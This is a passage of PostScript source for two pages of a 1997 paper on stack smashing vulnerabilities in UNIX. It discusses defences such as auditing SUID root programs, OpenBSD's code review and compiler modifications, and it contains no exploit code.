(I)A 31.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 30.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.100 0 (s)A 31.000 0 32 (, )W -0.400 0 (a)A 31.000 0 32 (nd )W -0.300 0 (f)A 0.200 0 (l)A -0.400 0 (a)A -0.200 0 (w)A 0.200 0 (l)A -0.400 0 (e)A 0.100 0 (ss)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2451 M -0.073 0 (operation was assumed.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2628 M 0.100 0 (M)A (od)S 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 0.200 0 (i)A (n)S 20.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 19.400 0 32 -0.400 0 (e c)D (od)S 19.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 19.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 20.400 0 32 -0.400 0 (e )D (on)S 0.200 0 (l)A 23.000 0 32 -3.000 0 (y )D (n)S -0.400 0 (ea)A 20.300 0 32 -0.300 0 (r f)D (oo)S 0.200 0 (l)A (p)S -0.300 0 (r)A (oo)S 20.300 0 32 -0.300 0 (f )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (t)A 20.000 0 32 (hod o)W 20.300 0 32 -0.300 0 (f )D 0.200 0 (i)A (n)S 0.100 0 (s)A (u)S -0.300 0 (r)A 0.200 0 (i)A (n)S 21.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S -0.400 0 (a)A 19.800 0 32 0.200 0 (t )D 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 20.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2805 M (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 3.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 4.400 0 32 -0.400 0 (e )D (no)S 3.800 0 32 0.200 0 (t )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A -0.400 0 (e)A 4.000 0 32 (d. )W -0.200 0 (N)A (o)S 3.800 0 32 0.200 0 (t )D (on)S 0.200 0 (l)A 7.000 0 32 -3.000 0 (y )D -0.400 0 (ca)A 4.000 0 32 (n )W 0.200 0 (t)A (h)S 0.200 0 (i)A 3.900 0 32 0.100 0 (s )D -0.400 0 (a)A (vo)S 0.200 0 (i)A 4.000 0 32 (d bu)W -0.300 0 (ff)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A 3.900 0 32 0.100 0 (s )D 0.200 0 (i)A 4.000 0 32 (n p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.100 0 (s)A 4.000 0 32 (, bu)W 4.800 0 32 0.200 0 (t it )D -0.200 0 (w)A 0.200 0 (ill)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2982 M (bu)S 0.200 0 (il)A 14.000 0 32 (d )W -0.300 0 (f)A -0.400 0 (a)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 14.000 0 32 (, )W 0.200 0 (m)A (o)S -0.300 0 (r)A 14.400 0 32 -0.400 0 (e e)D -0.300 0 (ff)A 0.200 0 (i)A -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (e)A (n)S 0.200 0 (t)A 14.000 0 32 (, )W -0.300 0 (r)A (obu)S 0.100 0 (s)A 13.800 0 32 0.200 0 (t )D -0.400 0 (c)A (od)S 14.400 0 32 -0.400 0 (e )D -0.200 0 (w)A 0.200 0 (it)A 14.000 0 32 (h )W -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A (p)S -0.400 0 (ec)A 13.800 0 32 0.200 0 (t t)D 14.000 0 32 (o non)W -0.300 0 (-)A 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 17.000 0 32 -3.000 0 (y )D -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (ea)A 13.900 0 32 0.100 0 (s )D (o)S 15.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 15.400 0 32 -0.400 0 (e )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3159 M 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 11.000 0 32 (. )W -0.100 0 (T)A (h)S 11.400 0 32 -0.400 0 (e )D -0.200 0 (O)A (p)S -0.400 0 (e)A (n)S -0.700 0 (B)A 0.400 0 (S)A 11.200 0 32 -0.200 0 (D )D (p)S -0.300 0 (r)A (o)S 0.200 0 (j)A -0.400 0 (ec)A 10.800 0 32 0.200 0 (t )D (h)S -0.400 0 (a)A 10.900 0 32 0.100 0 (s )D (p)S -0.400 0 (a)A 0.200 0 (i)A 11.000 0 32 (d )W 0.100 0 (s)A (p)S -0.400 0 (ec)A 0.200 0 (i)A -0.400 0 (a)A 10.800 0 32 0.200 0 (l )D -0.400 0 (a)A 0.200 0 (tt)A -0.400 0 (e)A (n)S 0.200 0 (ti)A 11.000 0 32 (on )W 0.200 0 (t)A 11.000 0 32 (o )W 0.200 0 (t)A (h)S 0.200 0 (i)A 0.100 0 (s)A 11.000 0 32 (, )W -0.400 0 (a)A 10.900 0 32 0.100 0 (s )D 0.200 0 (it)A 10.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S 0.200 0 (i)A -0.400 0 (e)A 12.300 0 32 -0.300 0 (f )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 11.800 0 32 0.200 0 (l )D (h)S -0.400 0 (ac)A (k)S -0.400 0 (e)A -0.300 0 (r)A (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3336 M -0.090 0 (Theo DeRaadt commented in a recent e-mail:)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3513 M -0.069 0 (\223During the OpenBSD security code review that we've been doing for)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3611 M -0.093 0 (almost a year now, we have fixed numerous other robustness problems.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3709 M -0.074 0 (Just as a small example, more than 10 ways to make ftpd dump core have)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3807 M -0.029 0 (been resolved. Thousands of non-security bugs got fixed at the same)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3905 M 0.001 0 (time. When you are looking at each source file one by one, it is an ideal)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 4003 M -0.037 0 (time to evaluate what problems and solutions other OS groups have)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 4101 M 0.174 0 (done.\224)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4376 M -0.100 0 (T)A (h)S 12.400 0 32 -0.400 0 (e )D (d)S 0.200 0 (i)A 0.100 0 (s)A -0.400 0 (a)A (dv)S -0.400 0 (a)A (n)S 0.200 0 (t)A -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 11.900 0 32 0.100 0 (s )D (o)S 13.300 0 32 -0.300 0 (f )D 0.200 0 (m)A -0.400 0 (a)A (nu)S -0.400 0 (a)A 0.200 0 (ll)A 16.000 0 32 -3.000 0 (y )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 0.200 0 (i)A (n)S 14.000 0 32 -1.000 0 (g )D -0.400 0 (a)A 12.800 0 32 0.200 0 (ll )D -0.400 0 (a)A -0.300 0 (ff)A -0.400 0 (ec)A 0.200 0 (t)A -0.400 0 (e)A 13.000 0 32 (d p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 12.900 0 32 0.100 0 (s )D 0.200 0 (i)A 12.900 0 32 0.100 0 (s )D (obv)S 0.200 0 (i)A (ou)S 12.900 0 32 0.100 0 (s s)D 0.200 0 (i)A (n)S 13.400 0 32 -0.400 0 (ce a)D 0.200 0 (ll)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4553 M 0.100 0 (s)A (ub)S 0.200 0 (j)A -0.400 0 (ec)A 13.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 13.900 0 32 0.100 0 (s )D 0.200 0 (m)A (u)S 0.100 0 (s)A 13.800 0 32 0.200 0 (t )D (b)S 14.400 0 32 -0.400 0 (e c)D (h)S -0.400 0 (ec)A (k)S -0.400 0 (e)A 14.000 0 32 (d b)W 17.000 0 32 -3.000 0 (y )D (h)S -0.400 0 (a)A 14.000 0 32 (nd )W -0.400 0 (a)A 14.000 0 32 (nd )W -0.300 0 (r)A -0.400 0 (ec)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 14.000 0 32 (d. )W -0.100 0 (T)A (hou)S 0.100 0 (s)A -0.400 0 (a)A (nd)S 13.900 0 32 0.100 0 (s )D (o)S 15.300 0 32 -0.300 0 (f )D 0.200 0 (li)A (n)S -0.400 0 (e)A 14.900 0 32 0.100 0 (s )D (o)S 15.300 0 32 -0.300 0 (f )D 0.100 0 (s)A (ou)S -0.300 0 (r)A -0.400 0 (ce)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4730 M -0.400 0 (c)A (od)S 16.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (u)S 0.100 0 (s)A 15.800 0 32 0.200 0 (t )D (h)S -0.400 0 (a)A (v)S 16.400 0 32 -0.400 0 (e a)D 15.800 0 32 0.200 0 (ll )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 17.000 0 32 (on )W -0.400 0 (ca)A 0.200 0 (ll)A 16.900 0 32 0.100 0 (s )D -0.400 0 (a)A 17.000 0 32 (nd )W -0.200 0 (U)A -2.300 0 (I)A 17.200 0 32 -0.200 0 (D )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 17.000 0 32 (on p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 16.900 0 32 0.100 0 (s )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (mi)A (n)S -0.400 0 (e)A 17.000 0 32 (d )W -0.400 0 (a)A 17.000 0 32 (nd )W -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A 17.000 0 32 (d, )W 0.200 0 (i)A -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4907 M (n)S -0.400 0 (ece)A 0.100 0 (ss)A -0.400 0 (a)A -0.300 0 (r)A -3.000 0 (y)A 11.000 0 32 (. )W -2.300 0 (I)A 11.000 0 32 (n )W 0.200 0 (t)A (h)S 11.400 0 32 -0.400 0 (e )D -0.300 0 (fr)A 11.400 0 32 -0.400 0 (ee )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 12.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 11.800 0 32 0.200 0 (m )D -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (e)A (n)S -0.400 0 (a)A 12.000 0 32 (, )W 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 11.900 0 32 0.100 0 (s s)D (u)S -0.400 0 (c)A 12.000 0 32 (h )W -0.400 0 (a)A 11.900 0 32 0.100 0 (s )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 1.000 0 (x)A 12.000 0 32 (, )W -0.600 0 (F)A -0.300 0 (r)A -0.400 0 (ee)A -0.700 0 (B)A 0.400 0 (S)A -0.200 0 (D)A 12.000 0 32 (, )W -0.200 0 (O)A (p)S -0.400 0 (e)A (n)S -0.700 0 (B)A 0.400 0 (S)A -0.200 0 (D)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5084 M -0.400 0 (a)A 4.000 0 32 (nd )W -0.200 0 (N)A -0.400 0 (e)A 0.200 0 (t)A -0.700 0 (B)A 0.400 0 (S)A 4.200 0 32 -0.200 0 (D )D (h)S -0.400 0 (a)A (v)S 4.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (u)S 3.800 0 32 0.200 0 (ll )D 0.100 0 (s)A (ou)S -0.300 0 (r)A 4.400 0 32 -0.400 0 (ce c)D (od)S 4.400 0 32 -0.400 0 (e )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A (on)S 3.900 0 32 0.100 0 (s )D -0.400 0 (a)A (v)S -0.400 0 (a)A 0.200 0 (il)A -0.400 0 (a)A (b)S 0.200 0 (l)A 4.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S 4.300 0 32 -0.300 0 (r )D (pub)S 0.200 0 (li)A 5.400 0 32 -0.400 0 (c )D (u)S 0.100 0 (s)A -0.400 0 (e)A 5.000 0 32 (. )W 0.300 0 (C)A (o)S 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (t)A 5.400 0 32 -0.400 0 (e c)D (op)S 0.200 0 (i)A -0.400 0 (e)A 4.900 0 32 0.100 0 (s )D (o)S -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5261 M 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 10.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 8.800 0 32 0.200 0 (m )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 8.800 0 32 0.200 0 (l )D -0.400 0 (a)A 9.000 0 32 (nd )W 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 8.800 0 32 0.200 0 (m )D (u)S 0.200 0 (tiliti)A -0.400 0 (e)A 8.900 0 32 0.100 0 (s )D 0.200 0 (m)A -0.400 0 (a)A 12.000 0 32 -3.000 0 (y )D (b)S 9.400 0 32 -0.400 0 (e )D (do)S -0.200 0 (w)A (n)S 0.200 0 (l)A (o)S -0.400 0 (a)A (d)S -0.400 0 (e)A 9.000 0 32 (d )W -0.400 0 (a)A 9.000 0 32 (nd )W 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (e)A 9.000 0 32 (d, )W -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.200 0 (w)A 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5438 M -0.400 0 (a)A (n)S -3.000 0 (y)A (on)S 35.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 35.000 0 32 (o )W -0.300 0 (f)A 0.200 0 (i)A 34.000 0 32 1.000 0 (x )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 35.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 36.000 0 32 -1.000 0 (g )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A 35.000 0 32 (. )W 36.000 0 32 ( )W -0.200 0 (H)A (o)S -0.200 0 (w)A -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 36.000 0 32 (, )W -2.300 0 (I)A 36.000 0 32 (n )W -0.400 0 (c)A (on)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.100 0 (s)A 35.800 0 32 0.200 0 (t t)D 36.000 0 32 (o )W 0.200 0 (t)A (h)S 0.200 0 (i)A 35.900 0 32 0.100 0 (s )D -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A (h,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5615 M -0.400 0 (c)A (o)S 0.200 0 (mm)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (a)A 14.800 0 32 0.200 0 (l )D -0.200 0 (UN)A -2.300 0 (I)A 15.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 16.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 14.900 0 32 0.100 0 (s )D (h)S -0.400 0 (a)A (v)S 15.400 0 32 -0.400 0 (e )D 0.200 0 (limit)A -0.400 0 (e)A 15.000 0 32 (d, )W 0.200 0 (i)A 15.300 0 32 -0.300 0 (f )D -0.400 0 (a)A (n)S 18.000 0 32 -3.000 0 (y )D 0.100 0 (s)A (ou)S -0.300 0 (r)A 15.400 0 32 -0.400 0 (ce c)D (od)S 15.400 0 32 -0.400 0 (e a)D (v)S -0.400 0 (a)A 0.200 0 (il)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A -3.000 0 (y)A 15.000 0 32 (. )W -0.200 0 (A)A 14.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; LH savelevel1 restore pagesave restore (%%[ Page: 24 ]%%) = %%PageTrailer %%Page: 25 25 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (25)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M -0.400 0 (c)A (h)S 0.200 0 (i)A -0.400 0 (e)A 3.300 0 32 -0.300 0 (f )D (d)S -0.400 0 (ece)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A 3.000 0 32 (d )W -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 3.000 0 32 (h )W 0.200 0 (i)A 3.000 0 32 (n )W -0.400 0 (a)A (vo)S 0.200 0 (i)A (d)S 0.200 0 (i)A (n)S 4.000 0 32 -1.000 0 (g )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 3.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 4.000 0 32 -1.000 0 (g )D (ho)S 0.200 0 (l)A -0.400 0 (e)A 3.900 0 32 0.100 0 (s )D 0.200 0 (i)A 4.000 0 32 (n )W 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 4.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 5.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M -1.000 0 (g)A 0.200 0 (l)A (ob)S -0.400 0 (a)A 2.800 0 32 0.200 0 (l )D -0.400 0 (c)A (od)S 3.400 0 32 -0.400 0 (e a)D (ud)S 0.200 0 (iti)A (n)S 4.000 0 32 -1.000 0 (g )D 0.200 0 (i)A 2.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (o)S 0.100 0 (s)A 2.800 0 32 0.200 0 (t )D -0.400 0 (e)A 1.000 0 (x)A (p)S -0.400 0 (e)A (n)S 0.100 0 (s)A 0.200 0 (i)A (v)S 3.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 3.000 0 32 (n )W 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A 2.900 0 32 0.100 0 (s )D (o)S 3.300 0 32 -0.300 0 (f )D (n)S -0.400 0 (ece)A 0.100 0 (ss)A -0.400 0 (a)A -0.300 0 (r)A 6.000 0 32 -3.000 0 (y )D 0.200 0 (m)A -0.400 0 (a)A (npo)S -0.200 0 (w)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 4.000 0 32 (nd )W -0.200 0 (w)A (o)S -0.300 0 (r)A (k)S 0.200 0 (l)A (o)S -0.400 0 (a)A 4.000 0 32 (d bu)W 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 858 M -0.168 0 (can offer the most in long term reliability and security.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 1036 M 0.106 0 (11.2 Compiler modifications)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 1241 M -0.200 0 (A)A (n )S -0.400 0 (a)A (dd)S 0.200 0 (iti)A (on)S -0.400 0 (a)A -0.200 0 32 0.200 0 (l )D (d)S -0.400 0 (ece)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A 1.000 0 32 (d )W -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 1.000 0 32 (h )W 0.200 0 (t)A 1.000 0 32 (o p)W -0.300 0 (r)A -0.400 0 (e)A (v)S -0.400 0 (e)A (n)S 0.200 0 (ti)A (n)S 2.000 0 32 -1.000 0 (g )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 1.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 2.000 0 32 -1.000 0 (g )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.900 0 32 0.100 0 (s )D 0.200 0 (i)A 0.900 0 32 0.100 0 (s )D 0.200 0 (t)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1418 M 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 5.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D 2.700 0 32 0.300 0 (C )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 3.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A -0.300 0 (r\222)A 2.900 0 32 0.100 0 (s )D (p)S -0.400 0 (e)A -0.300 0 (rf)A (o)S -0.300 0 (r)A 0.200 0 (m)A -0.400 0 (a)A (n)S 3.400 0 32 -0.400 0 (ce )D 0.200 0 (i)A 3.000 0 32 (n )W 3.400 0 32 -0.400 0 (a )D -1.000 0 (g)A 0.200 0 (i)A (v)S -0.400 0 (e)A 3.000 0 32 (n )W -0.200 0 (UN)A -2.300 0 (I)A 3.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 4.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 2.800 0 32 0.200 0 (m )D -0.400 0 (c)A (on)S -0.400 0 (ce)A -0.300 0 (r)A (n)S 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1595 M (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (l)A 1.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 0.100 0 (s)A 1.000 0 32 (. )W -0.200 0 (H)A (o)S -0.200 0 (w)A -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 1.000 0 32 (, )W 0.800 0 32 0.200 0 (it i)D 0.900 0 32 0.100 0 (s )D 0.200 0 (im)A (po)S -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (a)A (n)S 1.800 0 32 0.200 0 (t t)D 2.000 0 32 (o no)W 0.200 0 (t)A 2.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 0.200 0 (t)A 2.000 0 32 (, )W 0.200 0 (i)A 2.000 0 32 (n )W 0.200 0 (m)A (o)S 0.100 0 (s)A 1.800 0 32 0.200 0 (t )D -0.400 0 (ca)A 0.100 0 (s)A -0.400 0 (e)A 0.100 0 (s)A 2.000 0 32 (, )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 2.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ti)A (on)S 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1772 M 0.200 0 (t)A 8.000 0 32 (o )W 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D 7.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 9.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 8.400 0 32 -0.400 0 (e a)D -0.300 0 (r)A 8.400 0 32 -0.400 0 (e )D (no)S 7.800 0 32 0.200 0 (t t)D -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (i)A -0.400 0 (a)A 7.800 0 32 0.200 0 (l )D -0.400 0 (a)A 8.000 0 32 (nd )W 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S 8.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (und)S -0.400 0 (a)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 8.800 0 32 0.200 0 (l m)D (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ti)A (on)S 8.900 0 32 0.100 0 (s )D 0.200 0 (t)A 9.000 0 32 (o )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1949 M -0.149 0 (concepts behind the C programming language.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2126 M 7.200 0 32 -0.200 0 (A )D 0.100 0 (s)A 0.200 0 (im)A (p)S 0.200 0 (l)A 7.400 0 32 -0.400 0 (e a)D (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 7.000 0 32 (h o)W 7.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 0.200 0 (i)A 6.900 0 32 0.100 0 (s )D (n)S -0.400 0 (a)A 0.200 0 (t)A (u)S -0.300 0 (r)A 7.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 6.900 0 32 0.100 0 (s )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ti)A (on)S 6.900 0 32 0.100 0 (s )D 0.200 0 (t)A 7.000 0 32 (o )W 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D 7.700 0 32 0.300 0 (C )D -0.400 0 (c)A (o)S 0.200 0 (m)A 